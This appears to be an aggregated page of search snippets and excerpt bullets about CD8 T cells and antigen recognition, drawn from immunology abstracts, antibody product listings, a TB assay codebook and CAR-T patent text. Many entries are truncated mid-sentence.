TB2 Antigen result. English Text: TB2 Antigen result - Optimized for detection of CD4 and CD8 T cell responses. Target: Both ... LBXTB1 - TB1 Antigen result. Variable Name: LBXTB1. SAS Label: TB1 Antigen result. English Text: TB1 Antigen result - Primarily ... two TB Antigen tubes and a Mitogen tube (positive control). The QFT-Plus has two distinct TB antigen tubes: TB Antigen Tube 1 ( ... TB1) and TB Antigen Tube 2 (TB2). Both tubes contain peptide antigens from the MTB-complex-associated antigens, ESAT-6 and CFP- ...
CD3, CD4 and CD8 T Cell. *CD19/20 B Cell. *CD33/66 Myeloid Cell ... Human Leukocyte Antigen (HLA) Testing. Human Leukocyte Antigen ... HLA antibody detection/identification: Luminex Multi-Antigen Bead, Luminex Single Antigen Bead (SAB), AHG-CDC, or ELISA methods ... HLA laboratories also provide DNA based typing for genetic polymorphisms of cytokine genes, minor histocompatibility antigens ...
Experimental Design: CD8+ CTL clones that recognized a novel RCC-associated minor histocompatibility (H) antigen presented by ... C19orf48 encodes a minor histocompatibility antigen recognized by CD8 + cytotoxic T cells from renal cell carcinoma patients. ... C19orf48 encodes a minor histocompatibility antigen recognized by CD8 + cytotoxic T cells from renal cell carcinoma patients. ... C19orf48 encodes a minor histocompatibility antigen recognized by CD8 + cytotoxic T cells from renal cell carcinoma patients. ...
Acrylates Animals Antigen Presentation Antigens Cancer Vaccines CD8-Positive T-Lymphocytes Cell Proliferation Disease-Free ... Intracellular delivery of a protein antigen with an endosomal-releasing polymer enhances CD8 T-cell production and prophylactic ...
WT1-specific CD8 + cytotoxic T cells with the capacity for antigen-specific expansion accumulate in the bone marrow in MDS * ... Differential antigen expression and aberrant signaling via PI3/AKT, MAP/ERK, JAK/STAT, and Wnt/β catenin pathways in Lin−/CD38 ... Surface antigens have been used historically to define leukemic stem cells; our group and others have demonstrated that CD123 ( ... To better understand the immunophenotype of MDS stem cells, we employed a high-dimensional analysis of cell surface antigens ...
... for the first time that MSMPs vehiculation of antigenic peptides enhances their MHC class I presentation by human MDDCs to CD8 ... The aim of this work was to use MSMPs to deliver viral specific MHC class I restricted epitopes into human antigen presenting ... Specific Antigen CTL Presentation Assay: IFN Gamma ELISPOT Assay. Antigen-specific CD8 T cells producing IFN gamma were ... For the presentation of the viral specific CD8 T cell epitopes loaded onto MSMPs-CEFpp, the involved antigen presenting cells ...
Dive into the research topics of Dendritic cell maturation enhances CD8+ T-cell responses to exogenous antigen via a ... Dendritic cell maturation enhances CD8+ T-cell responses to exogenous antigen via a proteasome-independent mechanism of major ...
After antigen recognition and activation, CD8+ cytotoxic T cells may trigger keratinocyte apoptosis. Activated CD8+ T cells ( ... Therefore, early in the formation of oral lichen planus lesions, CD8+ T cells may recognize an antigen associated with the ... The specific antigen that triggers lichen planus is unknown, although it may be a self-peptide (or altered self-peptide), in ... Current data suggest that oral lichen planus (OLP) is a T-cell-mediated autoimmune disease in which autocytotoxic CD8+ T cells ...
Ozone exposure impairs antigen-specific immunity but activates IL-7-induced proliferation of CD4(-)CD8(-) thymocytes in balb/c ...
Antigens, such as MHCII, DC11c, and CD8, could be detected.. Note: All the above protocols were developed by customers and have ... Detection of Extracellular Antigens. To develop this protocol, all five new Liberase Research Grade Enzyme Blends were tested. ...
While the theoretical diversity of T cell receptor (TCR) sequences is vast, the antigen-specific TCR repertoire is restricted ... It remains unclear how many TCR sequences are recruited into an antigen-specific T cell response, both within and across ... Evolutionary processes govern the selection of T cell clonotypes that are optimally suited to mediate efficient antigen- ... CD8-positive T lymphocytes specific for murine cytomegalovirus immediate-early antigens mediate protective immunity. J. Virol. ...
keywords = "CHRONIC MUCOCUTANEOUS CANDIDIASIS, SYNDROME TYPE-I, SYNDROME TYPE-1, AIRE, TOLERANCE, ANTIGEN, AUTOANTIBODIES, ... title = "IL-7 Dysregulation and Loss of CD8(+) T Cell Homeostasis in the Monogenic Human Disease Autoimmune Polyendocrinopathy- ... T1 - IL-7 Dysregulation and Loss of CD8(+) T Cell Homeostasis in the Monogenic Human Disease Autoimmune Polyendocrinopathy- ... IL-7 Dysregulation and Loss of CD8(+) T Cell Homeostasis in the Monogenic Human Disease Autoimmune Polyendocrinopathy- ...
  • These atypical lymphocytes (ie, Downey cells) actually are CD8 cytotoxic T cells. (
  • Human peripheral blood lymphocytes were stained with CD8 (clone SK1) PE/Dazzle™ 594 (filled histogram) or mouse IgG1, κ PE/Dazzle™ 594 isotype control (open histogram). (
  • Phenotypic analyses demonstrate that, during their commitment from circulating nonregulatory CD8CD28 T lymphocytes to Treg (an interleukin-10- dependent process), these cells downmodulate the IL7-receptor, thus differentiating them from long-lived, memory CD8 T lymphocytes. (
  • Human peripheral blood lymphocytes were stained with anti-human CD3 FITC and anti-human CD8 PE/Fire™ 700 (clone SK1) (left), or mouse IgG1, κ PE/Fire™ 700 (right). (
  • Individuals infected with M. tuberculosis complex organisms (M. tuberculosis, M. bovis, M. africanum, M. microti, M. canetti) usually have lymphocytes in their blood that recognize these and other mycobacterial antigens. (
  • The aim of this work was to use MSMPs to deliver viral specific MHC class I restricted epitopes into human antigen presenting cells (monocyte derived dendritic cells, MDDCs) to facilitate their capture, processing, and presentation to CD8+ (cytotoxic) T lymphocytes. (
  • We show for the first time that MSMPs vehiculation of antigenic peptides enhances their MHC class I presentation by human MDDCs to CD8 T lymphocytes. (
  • Most T cells in the epithelium and adjacent to the damaged basal keratinocytes are activated CD8 + lymphocytes. (
  • Activated CD8 + T cells (and possibly keratinocytes) may release cytokines that attract additional lymphocytes into the developing lesion. (
  • CD8 + tumor-infiltrating lymphocytes (TILs) mediate tumor rejection through recognition of tumor antigens and direct killing of transformed cells. (
  • the authors concluded that both lymphocytes and IFN γ were critical in antitumor immunity, suggesting a critical role for CD8 + T cells in antitumor immune responses [ 6 ]. (
  • The antibody MEM-31 recognizes a conformationally-dependent extracellular epitope of CD8, a cell surface glycoprotein found on most cytotoxic T lymphocytes that mediates efficient cell-cell interactions within the immune system. (
  • Antigen-specific memory CD4 + T lymphocytes highly expressed Ly-6C, unlike most splenic CD44 hi CD62L − CD4 + T lymphocytes. (
  • Upon challenge with antigen, they rapidly expressed cytokines and CD154 and efficiently induced the production of high-affinity antibodies by B lymphocytes. (
  • CD8 (Cluster of Differentiation 8) is a cell surface glycoprotein found on most cytotoxic T lymphocytes that mediate efficient cell-cell interactions within the immune system. (
  • T lymphocytes are divided into two subsets by their expression of T cell antigen receptors (TCRs): αβ T cells (combination of an α chain and a β chain) and γδ T cells (combination of a γ chain and a δ chain). (
  • The 341 monoclonal antibody specifically recognizes theβchain of the CD8 antigen on most thymocytes and a subpopulation of mature T lymphocytes (ie, MHC class I-restricted T cells, including most T suppressor/cytotoxic cells). (
  • The CD8αandβchains (CD8a and CD8b, respectively) form a heterodimer on the surface of most thymocytes and thymus-dependent T suppressor/cytotoxic cells, whereas intestinal intraepithelial lymphocytes, many CD8+ T cells of athymic rats, many activated CD4+ T cells, and most NK cells express CD8a without CD8b. (
  • Role of BIM in the generation of antigen-specific CD8 + T lymphocytes in response to vaccination with recombinant adenovirus. (
  • However, the role of BIM in the establishment of the immune response of CD8 + T lymphocytes has not yet been studied. (
  • As the strong adenoviral vectors activating the response, we investigated the role of BIM in the quality and frequency of Ad.cOVA-stimulated CD8 + T lymphocytes. (
  • Thus, a reduction of the specific lysis and decreased frequency of IFNγ producing CD8 + lymphocytes in bim -/- mice was observed. (
  • The kinetics of the effector response of CD8 + T lymphocytes from bim -/- mice showed little loss of the effector capacities of these lymphocytes, being the possible mechanism to control tumor progression. (
  • In conclusion, bim -/- mice show a lower frequency of effector cells, suggesting an important role of BIM in the production of antigen-specific CD8 + T lymphocytes after vaccination with Ad.cOVA. (
  • Studies from our ongoing investigation presented here clearly show that Id can evoke both CD4+ and CD8+ T cells, and exist not only as the integral components of a bona fide antigen-binding receptor Ig but also as distinct molecular entities in processed forms on the cell surface of B-lymphocytes. (
  • The expression level and in situ localization of miR-18a and -18b was assessed with respect to the presence of tumour infiltrating lymphocytes (TILs) and immunohistochemical markers for ER, CD4, CD8, CD20, CD68, CD138, PAX5 and actin. (
  • Interleukin-2 (IL-2) and Janus kinases (JAKs) regulate transcriptional programs and protein synthesis to promote the differentiation of effector CD8 cytotoxic T lymphocytes (CTLs). (
  • We have found that T cell immunoglobulin mucin (Tim) 3 is expressed on CD8 + tumor-infiltrating lymphocytes (TILs) in mice bearing solid tumors. (
  • Subsets of intestinal intraepithelial lymphocytes express CD8α without CD8β. (
  • Functionally active CD8 alpha beta(+) TCR gamma delta intestinal intraepithelial lymphocytes in athymic nu/nu mice. (
  • Cytotoxic T lymphocytes form an antigen-independent ring junction. (
  • In CD8(+) cytotoxic T lymphocytes, the immunological synapse is thought to facilitate specific killing by confining cytotoxic agents to the synaptic cleft. (
  • Rearrangement of the immunoglobulin (Ig) and T cell receptor (TCR) gene loci allows for the generation of B and T lymphocytes with antigen-specific receptors. (
  • Complete rearrangement and expression of the TCR-beta chain enables immature thymocytes to differentiate from the CD4-CD8- to the CD4+CD8+ stage mice in which rearrangement is impaired, such as severe combined immunodeficient (SCID) mice or recombinase activating gene-deficient (RAG-/-) mice, lack mature B and T lymphocytes. (
  • CD24 may play a role in regulation of B cell proliferation and differentiation, and it has been proposed that heat stable antigen promotes homotypic adhesion between B lymphocytes. (
  • Direct quantitation of rapid elimination of viral antigen-positive lymphocytes by antiviral CD8(+) T cells in vivo. (
  • Thymus size was assessed ultrasonographically and correlated to the percentage of CD4 and CD8 T-lymphocytes in peripheral blood in 32 infants with protein-energy malnutrition [‎PEM]‎ and compared with 14 healthy control infants. (
  • We demonstrate that dendritic cells in cutaneous lymph nodes prime the first cohort of CD8 + T cells after an infectious mosquito bite. (
  • After intravenous immunization with irradiated sporozoites, CD8 + T cells are primed by dendritic cells (DCs) 15 and then rapidly accumulate in the spleen and liver 12 . (
  • During infection, Flt3l preferentially stimulates expansion of the CD8-α(+) dendritic cell subset or its BDCA3(+) human dendritic cell equivalent and has a substantial impact on the magnitude of T cell activation, mostly in the CD8(+) compartment. (
  • The most powerful antigen presenting cells are dendritic cells (DCs), which bridge innate and adaptive immunity and are capable of initiating a primary immune response by activating naïve T cells [ 10 ]. (
  • Recent insights into the interaction between professional antigen presenting cells, dendritic cells (DCs), and malaria parasites is discussed in detail. (
  • The virus is taken up by dendritic cells, which, after antigen processing, presents it to T cells, leading to immune activation and release of a cascade of cytokines that are believed to mediate the systemic effects of plasma leakage and circulatory insufficiency. (
  • T cells are activated by antigen (Ag)-bearing dendritic cells (DCs) in lymph nodes in three phases. (
  • 2020. Human CLEC9A antibodies deliver Wilms' tumor 1 (WT1) antigen to CD141+ dendritic cells to activate naïve and memory WT1‐specific CD8+ T cells . (
  • Macrophages and dendritic cells are the important class II antigen-presenting cells. (
  • It is expressed on antigen presenting cells (APCs), such as dendritic cells and activated B cells, and also on various other cells such as vascular endothelial cells, mast cells, and natural killer cells. (
  • Lentiviral vectors encoding antigens are promising vaccine candidates because they transduce dendritic cells (DC) in vivo and prime CTL responses. (
  • PD-L1 which is expressed on the surface of various cells, including tumor cells, activated T cells and antigen-presenting cells, such as dendritic cells, macrophages/monocytes and B cells is the major ligand for PD-1 ( 8 , 9 ). (
  • In a previous study, the present authors evaluated the therapeutic efficacy of tumour lysate-loaded antigen-presenting dendritic cells (DCs) given before and/or after an i.p. tumour challenge with the mouse mesothelioma cell line AB1. (
  • Dendritic cells (DCs) are antigen-presenting cells that contribute to psoriasis pathology via the secretion of IL-23, the upstream regulator of Th17 cells, while plasmacytoid DCs are involved via IL-36 signalling and type I interferon activation. (
  • Dendritic-cell infection by human cytomegalovirus is restricted to strains carrying functional UL131-128 genes and mediates efficient viral antigen presentation to CD8 + T cells. (
  • Six antigens targeted by CD8 T cells from T. parva -immune cattle of different major histocompatibility complex (MHC) genotypes have been identified, raising the prospect of developing a subunit vaccine. (
  • Current vaccine strategies against influenza focus on Antigen-specific ligation of T-cell receptors induces generating robust antibody responses. (
  • Newer HIV diagnostic tests involve combined antibody and antigen assays, leading to earlier detection of HIV infection. (
  • Newer fourth-generation HIV tests combine antibody and antigen detection. (
  • The dimeric antigen receptors have antibody-like properties as they bind specifically to a target antigen. (
  • Antigen receptors comprising both an antibody heavy chain binding region and an antibody light chain binding region in separate polypeptide chains and their use in directed cell therapy are disclosed herein in an effort to meet this need and/or provide other benefits, or at least provide the public with a useful choice. (
  • Monoclonal antibody treatment, chimeric antigen receptor (CAR)-T cell therapy, and immune checkpoint inhibitors are the key immunotherapies that are being used against many cancers [ 3 , 4 ]. (
  • Description: The RPA-T8 monoclonal antibody reacts with the human CD8a molecule, an approximately 32-34 kDa cell surface receptor expressed either as a heterodimer with the CD8 beta chain (CD8 alpha/beta) or as a homodimer (CD8 alpha/alpha). (
  • IHC analysis of human tonsillitis tissue with Proteintech's CD8 mouse monoclonal antibody (66868-1-Ig). (
  • While treating tissues with formalin and xylene are necessary steps for fixation and deparaffinization in an immunohistochemistry workflow, such treatments often result in protein cross-linking leading to the masking of antigenic sites and the subsequent inhibition of antigen-antibody interactions. (
  • In this regard, an emerging subpopulation of CD8 + Tregs (CD44 + CD122 + Ly49 + ) has recently been described as a non-redundant regulator of germinal center reaction and high-affinity antibody generation in mice mimicking SLE ( 12 - 14 ). (
  • The H35-17.2 monoclonal antibody specifically binds to both alloantigeneic forms of the β chain of the CD8 differentiation antigen (Ly-3 or Lyt- 3). (
  • Forty muscle biopsies including seven dermatomyositis (DM), six polymyositis (PM), two sporadic inclusion body myositis (sIBM), 20 dystrophies (one Duchenne, three Becker's, four alpha, one gamma sarcoglycanopathy, nine limb girdle, one myotonic and one fascioscapulohumeral muscular dystrophy) and five controls were stained with antibody for MHC Class I antigen (Novocastra clone W6/32 HL 1:100 dilution). (
  • In the preclinical studies, BNT162b1 and BNT162b2 candidates induced favorable viral antigen specific CD4+ and CD8+T cell responses, high levels of neutralizing antibody in various animal species, and beneficial protective effects in a primate SARS-CoV-2 challenge model. (
  • Alexa Fluor ® 647 Anti-Mouse CD8α antibody for use in flow cytometry and immunohistochemistry / immunocytochemistry assays. (
  • In vivo and in vitro treatment with the 53-6.7 monoclonal antibody effectively depletes CD8α + cells. (
  • The 53-6.7 monoclonal antibody also blocks allogeneic help specific for class I MHC antigens and T cell responses to IL-2. (
  • The immunome was first defined as the totality of rearranged antibody and antigen receptor genes present in all living individuals of a species, including variations in the somatic rearrangements [ 4 ]. (
  • The participation of CETHB1 antigen in the intrathymic development of T cells was analysed in sublethally X-ray irradiated chickens and normal embryos which were inoculated with anti-thymocyte monoclonal antibody CETHB1. (
  • Recombinant monoclonal antibody to CD8. (
  • This antibody recognises human CD8. (
  • YTC 182.20 antibody is recommended for flow cytometric analysis of CD8 positive cells. (
  • Immunofluorescence staining of human peripheral blood monocytes with anti-CD8 (Ab01039) YTC 182.20 Immunofluorescence analysis of paraformaldehyde fixed human peripheral blood monocytes on Shi-fix™ coverslips stained with the chimeric rabbit IgG version of YTC 182.20 (Ab01039-23.0) at 10 µg/ml for 1h followed by Alexa Fluor® 488 secondary antibody (2 µg/ml), showing membrane staining. (
  • Flow cytometry using the Anti-CD8 antibody YTC 182.20 (Ab01039). (
  • Each B cell has only one type of antibody receptor that binds to one specific antigen. (
  • The B cell antigen receptor has a similar structure to a soluble antibody. (
  • The B cell antibody receptor is complementary to an antigen. (
  • CARs are engineered fusion proteins that couple the antigen recognition capability of an antibody with the effector function Clasto-Lactacystin b-lactone of an immune cell, thereby directing cell specificity towards a tumor cell [1C4]. (
  • The extracellular antigen recognition domain most commonly consists of a single chain variable fragment (scFv) derived from a monoclonal antibody (mAb) targeting a particular antigen but can also comprise ligands or peptides that bind to molecules expressed on the cell surface of tumors [15, 16]. (
  • CD8 acts as a co-receptor with MHC class I-restricted T cell receptors in antigen recognition and T cell activation and has been shown to play a role in thymic differentiation. (
  • HLA laboratories also provide DNA based typing for genetic polymorphisms of cytokine genes, minor histocompatibility antigens and natural killer cell immunoglobulin-like receptor (KIR) genes, and for post-HCT engraftment monitoring using short tandem repeat (STR) markers. (
  • Current immunotherapies involve enhancing the activity of antigen-specific CD8 + TILs through cytokine treatment, immune checkpoint blockade, chimeric antigen receptor therapy, and adoptive T cell transfer (ACT) [ 13 ]. (
  • van den Berg HA, Wooldridge L, Laugel B, Sewell AK: Coreceptor CD8-driven modulation of T cell antigen receptor specificity. (
  • The molecular mechanism of suppression involves TGF-beta because expression of a dominant-negative TGF-beta receptor by tumor-specific CD8 cells renders them resistant to suppression and is associated with tumor rejection and unimpaired cytotoxicity. (
  • NK cells, for instance, can bind cancer cells, and several ACT approaches have been developed using this method, for example: Natural Killer Cell Therapy, other include Tumor-Infiltrating Lymphocyte Therapy (TILT), Engineered T-Cell Receptor Therapy (ETCR), Chimeric Antigen Receptor T-Cell Therapy (CARTCT). (
  • The CD8 antigen acts as a co-receptor with the T-cell receptor on the T lymphocyte to recognize antigens displayed by an antigen presenting cell (APC) in the context of class I MHC molecules. (
  • The CD8 co-receptor functions as either a homodimer composed of two alpha chains, or as a disulfide-linked heterodimer composed of one alpha and one beta chain. (
  • 2021. CD8 coreceptor-mediated focusing can reorder the agonist hierarchy of peptide ligands recognized via the T cell receptor . (
  • Leukocyte immunoglobulin-like receptor subfamily A member 3 (LILR-A3) also known as CD85 antigen-like family member E (CD85e), immunoglobulin-like transcript 6 (ILT-6), and leukocyte immunoglobulin-like receptor 4 (LIR-4) is a protein that in humans is encoded by the LILRA3 gene located within the leukocyte receptor complex on chromosome 19q13.4. (
  • however, it is highly homologous to other LILR genes, and can bind human leukocyte antigen (HLA) class I. Therefore, if secreted, the LILRA3 might impair interactions of membrane-bound LILRs (such as LILRB1, an inhibitory receptor expressed on effector and memory CD8 T cells) with their HLA ligands, thus modulating immune reactions and influencing susceptibility to disease. (
  • CD137-PE recognizes the CD137 (4-1BB) antigen, a 30 kDa glycoprotein of the tumor necrosis factor (TNF) receptor superfamily. (
  • CD8 is an antigen co-receptor on the T cell surface which interacts with MHC class I molecules on antigen-presenting cells. (
  • Class I and class II molecules allow antigen presentation to the specific T-cell receptor via a specific structural groove in its tertiary structure. (
  • T cell signaling starts with assembling several tyrosine kinases and adapter proteins to the T cell receptor (TCR), following the antigen binding to the TCR. (
  • OX40L signals specifically through the OX40 receptor, which is expressed predominantly on CD4+T cells but also on certain activated CD8+T cells. (
  • CD8 + T cell exhaustion or dysfunction is frequently observed in chronic viral infections and cancer due to persistent antigen exposure and chronic T cell receptor (TCR) signaling. (
  • In contrast to CD4 + Tregs, the murine CD8 + Treg subpopulation does not express FoxP3 nor low levels of the IL-7 receptor-α (CD127), yet the homeostasis of these cells is controlled by IL-15 ( 15 - 17 ) and their Ly49 expression is induced post-thymically ( 18 ). (
  • Most recently, cancer immunotherapy field is growing tremendously, such as utilization of cancer vaccinations, chimeric antigen receptor (CAR) T-cell therapy and immune checkpoint blockade therapy [ 10 , 11 ]. (
  • Antigen is taken up by receptor-mediated endocytosis, digested, and presented to T cells in the context of class II MHC. (
  • They carry a special receptor called the T-cell receptor on their surface that recognises antigens - small protein fragments of bacteria, viruses and infected or cancerous body cells - which are presented by specialised immune complexes. (
  • After binding of a suitable antigen to the receptor, a signalling pathway is triggered inside the T cell that "arms" the cell for the respective task. (
  • Researchers led by Lukas Sušac, Christoph Thomas, and Robert Tampé from the Institute of Biochemistry at Goethe University Frankfurt, in collaboration with Simon Davis from the University of Oxford and Gerhard Hummer from the Max Planck Institute of Biophysics, have now succeeded for the first time in visualizing the structure of a membrane-bound T-cell receptor complex with bound antigen. (
  • A comparison of the antigen-bound structure captured using cryo-electron microscopy with that of a receptor without antigen provides the first clues to the activation mechanism. (
  • For the structural analysis, the researchers chose a T-cell receptor used in immunotherapy to treat melanoma and which had been optimised for this purpose in several steps in such a way that it binds its antigen as tightly as possible. (
  • A particular challenge on the way to structure determination was to isolate the whole antigen receptor assembly consisting of eleven different subunits from the cell membrane. (
  • Once they had successfully achieved this, the researchers used a trick to fish those receptors out of the preparation that had survived the process and were still functional: due to the strong interaction between the receptor complex and the antigen, they were able to "fish" one of the most medically important immune receptor complexes. (
  • The subsequent images collected at the cryo-electron microscope delivered groundbreaking insights into how the T-cell receptor works, as Tampé summarises: "On the basis of our structural analysis, we were able to show how the T-cell receptor assembles and recognises antigens and hypothesise how signal transduction is triggered after antigen binding. (
  • The co-receptor CD8 is known to approach the T-cell receptor after antigen binding and to stimulate the transfer of phosphate groups to its intracellular part. (
  • These insights into the nature of TCR assembly and the unusual cell membrane architecture reveal the basis of antigen recognition and receptor signaling. (
  • In addition, we discussed the possible causative agents, whether T cell receptor expression reflects antigen driven immune responses, and what type of biological active materials may be critical in determining the disease activity and/or prognostic factors, with particular focus on the population differences. (
  • This cytokine and its receptor are involved in the antigen presentation process and in the generation of cytotoxic T cells. (
  • The B cell receptor (BCR) was necessary for the induction of ACAID and conveyed antigen specificity to the suppressor T cells. (
  • CD8 is a cell surface receptor expressed either as a heterodimer with the CD8 beta chain (CD8 alpha/beta) or as a homodimer (CD8 alpha/alpha). (
  • CD8 is a T-cell co-receptor involved in the recognition of MHC class I molecules. (
  • T?cells recognize antigens by an discussion using the T?cell receptor (TCR) and peptide/MHC organic. (
  • plasmid transfection, incomplete response, steady disease, virus-specific T?cells aOnly for non-HCC individuals Advancement of Chimeric Antigen Receptor (CAR) Style CARs, termed T originally? (
  • A separate study in late-stage melanoma patients found that a fraction of circulating antigen-specific CD8 + T cells are functionally impaired, supporting the coexistence of multiple T cell fates in the antitumor immune response [ 17 ]. (
  • The present disclosure provides dimeric antigen receptors (DAR) constructs that bind a BCMA target antigen, where the DAR construct comprises a heavy chain binding region on one polypeptide chain and a light chain binding region on a separate polypeptide chain. (
  • The two polypeptide chains that make up the dimeric antigen receptors can dimerize to form an antigen binding domain. (
  • The dimeric antigen receptors can be used for directed cell therapy. (
  • The present disclosure provides dimeric antigen receptors (DAR) protein constructs that bind specifically to a target antigen, nucleic acids that encode the dimeric antigen receptors, vectors comprising the nucleic acids, and host cells harboring the vectors. (
  • Chimeric antigen receptors (CARs) have been developed to target antigens associated, in particular, with cancer. (
  • Adoptive immunotherapy by infusion of T cells engineered with chimeric antigen receptors (CARs) for redirected tumoricidal activity represents a potentially highly specific modality for the treatment of metastatic cancer. (
  • Introduction Immune checkpoint inhibitors and adoptive T-cell therapy based on chimeric antigen receptors are the spearhead strategies to exploit the immune system to fight cancer. (
  • CD8 acts as a coreceptor with MHC Class I-restricted T cell receptors in antigen recognition and positive selection of MHC class I-restricted CD8 + T cells. (
  • Crystallographic studies reveal that CPXV203 adopts a beta-sandwich fold similar to poxvirus chemokine binding proteins, and binds the same highly conserved MHCI determinants located under the peptide-binding platform that tapasin, CD8, and natural killer (NK)-receptors engage. (
  • and have poor effector function, express multiple inhibitory receptors, possess low proliferative capacity, and cannot persist without antigen. (
  • Open in a separate window Introduction In the field of cancer immunotherapy, adoptive immunotherapy with T?cells, genetically engineered to express chimeric antigen receptors (CARs), is a fast-growing approach to treat aggressive and recurring malignancies. (
  • Open in a separate window Fig.?1 Antigen recognition mechanism of chimeric antigen receptors (CARs). (
  • To facilitate further dissection of the specificity of protective CD8 T-cell responses and to assist in the assessment of responses to vaccination, we set out to identify the epitopes recognized in these T. parva antigens and their MHC restriction elements. (
  • Nine epitopes in six T. parva antigens, together with their respective MHC restriction elements, were successfully identified. (
  • Analyses of CD8 T-cell responses to five of the epitopes in groups of cattle carrying the defined restriction elements and immunized with live parasites demonstrated that, with one exception, the epitopes were consistently recognized by animals of the respective genotypes. (
  • Influenza-specific CD8+ T cells recognize multiple of reagents and genetically modified mouse models has viral epitopes on target cells and antigen-presenting cells. (
  • The development of CD8 + T-cell-based vaccine against HIV-1 has focused on searching for immunodominant epitopes. (
  • However, the strong immune pressure of CD8 + T-cells causes the selection of viral variants with mutations in immunodominant epitopes. (
  • The results suggest that the quality of the response (polyfunctionality) could be associated with the binding affinity of the peptide to the HLA molecule, and the functional profile of specific CD8 + T-cells to mutated epitopes in individuals under cART is maintained. (
  • Eva joined the laboratory of Hidde Ploegh at the Whitehead Institute at MIT to exploit the plethora of techniques available to study questions pertaining to immune surveillance of Toxoplasma gondii and the generation of parasite epitopes for recognition by CD8 T cells. (
  • BNT162b2 vaccinated human participants displayed a favorable breadth of epitopes recognized in T cell responses specific to the SARS-CoV-2 antigen, as compared to the BNT162b1 candidate. (
  • Our investigations revealed two novel M.tb specific epitopes which induce IFN-γ expression in CD8 + T cells from tuberculosis patients predicted by MAPPP. (
  • CETHB1 and CETH46 mAbs recognized different epitopes on the same membrane antigen (molecular weight: 76.2 kDa). (
  • OBJECTIVE: To design a vaccine construct containing various but conserved HIV-1-derived epitopes and generating broad CD8 T cell responses. (
  • Few human CD8(+) T-cell epitopes in mycobacterial antigens have been described to date. (
  • A more complete understanding of the epitopes recognized by these T cells is needed to facilitate the development of antigen- specific strategies to interfere with their pathogenicity, as well as assays to monitor autoimmune activity in at- risk individuals, islet transplant patients, or those undergoing intervention protocols. (
  • Candidate CD8 T cell epitopes from human autoantigens have often been chosen for testing of patient reactivity based on their predicted ability to bind an MHC molecule of interest. (
  • In this way, CAR T?cells are able to recognize antigenic epitopes that would normally not have been seen by T?cells, and also circumvent immune evasion strategies by which tumors avoid MHC-restricted T?cell recognition, such as decreased expression of MHC molecules and/or defects in antigen processing. (
  • The analysis of responses was extended to animals immunized with multiple antigens delivered in separate vaccine constructs. (
  • Specific CD8 T-cell responses were detected in 19 of 24 immunized cattle. (
  • All responder cattle mounted responses specific for antigens for which they carried an identified restriction element. (
  • Using a model mimicking natural infection by Plasmodium yoelii , we delineated early events governing the development of protective CD8 + T-cell responses to the circumsporozoite protein. (
  • Although parasites may also prime cellular immune responses elsewhere, intrahepatic effector CD8 + T cells are probably the most important factor in protection against malaria. (
  • We review the literature express CD8 and induce apoptosis of cells on which they on the role of CD4+ and CD8+ T cell-mediated immunity in recognize foreign antigens presented by MHC class I mol- influenza infection and the available data on the role of ecules, providing a defense against intracellular pathogens these responses in protection from highly pathogenic such as viruses. (
  • HIV-specific CD8 + T-cell responses rapidly expand since the acute phase of the infection, and it has been observed that HIV controllers harbor CD8 + T-cells with potent anti-HIV capacity. (
  • Recently, alternative therapeutic strategies against HIV-1 have focused on inducing specific CD8 + T-cell responses that are crucial in controlling HIV-1 replication ( 5 ). (
  • HIV-specific CD8 + T-cell responses rapidly expand since the acute phase of the infection, and their direct effector function can be observed throughout the chronic phase of the disease ( 6 ). (
  • The QuantiFERON®-TB Gold Plus assay tests for Cell Mediated Immune (CMI) responses to peptide antigens that simulate mycobacterial proteins. (
  • During this process, many factors are responsible for the generated immune responses, such as number and type of recruited APCs, uptake amount of antigen, and APC maturation and subsequent trafficking to lymph nodes [10-12]. (
  • These recombinant subunit antigens require potent adjuvants or immune modulators to enhance their immunogenicity as well as their capacity to trigger CTLs responses required to fend off life-threatening infections caused by intracellular pathogens, such as HIV, malaria, and tuberculosis [ 6 ]. (
  • The induction of most CD8+ T cell responses by DCs requires the presentation of peptides from internalized antigens by class I major histocompatibility complex (MHC) molecules that usually present endogenous cytoplasmic antigens. (
  • In addition to effector and memory CD8 + T cells, populations described as exhausted, anergic, senescent, and regulatory CD8 + T cells have been observed in clinical and basic studies of antitumor immune responses. (
  • Here we discuss the current characterization of CD8 + T cell fates in antitumor immune responses and discuss recent insights into how signals in the tumor microenvironment influence TIL transcriptional networks to promote CD8 + T cell dysfunction. (
  • Decades of research have resulted in substantial insights into the role of the adaptive immune system, including CD8 + T cells, in antitumor responses. (
  • These studies highlighted a major role for CD8 + TILs in antitumor immune responses, supporting the use of tumor-specific CD8 + T cells in adoptive immunotherapy. (
  • ImmunoMap analysis of the CD8 T-cell response to self-antigen (K b -TRP2) or to a model foreign antigen (K b -SIY) in naïve and tumor-bearing B6 mice showed differences in the T-cell repertoire of self- versus foreign antigen-specific responses, potentially reflecting immune pressure by the tumor, and also detected lymphoid organ-specific differences in TCR repertoires. (
  • In contrast, responses to antigens administered by a Mantoux-type procedure, in which a known quantity of a known concentration of a standardized antigen is deposited in the skin, may be more accurate indicators of a waning or increasing cellular hypersensitivity. (
  • This dual-targeted immunotherapy combines antigenic peptides for both the survivin and MAGE-A9 cancer proteins to elicit immune responses to these two distinct cancer antigens simultaneously. (
  • Ito cells are liver-resident antigen-presenting cells for activating T cell responses. (
  • However, the immunologic benefit of intermittent therapy remains undefined, and the clinical usefulness of HIV-specific CD4 and CD8 responses has yet to be demonstrated in this setting. (
  • To make potent vaccines from recombinant antigens, the formulation generally requires one or more adjuvants to help generate adequate immune responses. (
  • These responses involve T cells and B cells, two cell types that require training or education to learn how to fight invaders (antigens) and not to attack our own cells. (
  • both CD4 + and CD8 + responses can be enhanced by targeting the antigen to the MHC class II pathway. (
  • DCs pulsed with tumour lysate or exosomes were effective in inducing protective cytotoxic CD8 T-cell responses and increasing survival, even when given after tumour implantation 2 . (
  • It is now well established that certain tumours and the surrounding stroma generate an immunosuppressive micro-environment to suppress the effector arm of the anti-tumoural immune response (cytotoxic T-lymphocyte response inside the tumour) and the inductive arm of the immune response, i.e. the potential of antigen-presenting DCs to induce cytotoxic T-lymphocyte responses. (
  • Research undertaken from the 1990s to the mid-2000s provided evidence for the existence of a large population of CD8 + and CD4 + tissue-resident memory T cells in resolved skin, which can initiate and perpetuate immune responses of psoriasis in the absence of T-cell recruitment from the blood. (
  • The spectrum of CD8 T responses generated by polyepitope constructs was tested in HLA-B7 transgenic mice. (
  • The ARY N-terminal extension flanking each epitope markedly increases their affinity for TAP and the use of this flanking extension in polyepitope vaccine has a sizable advantage to induce CD8 T cell cytotoxic responses in mice following DNA immunization. (
  • This cytokine has also been shown to be required for the optimal CD8 responses in CD8 T cells. (
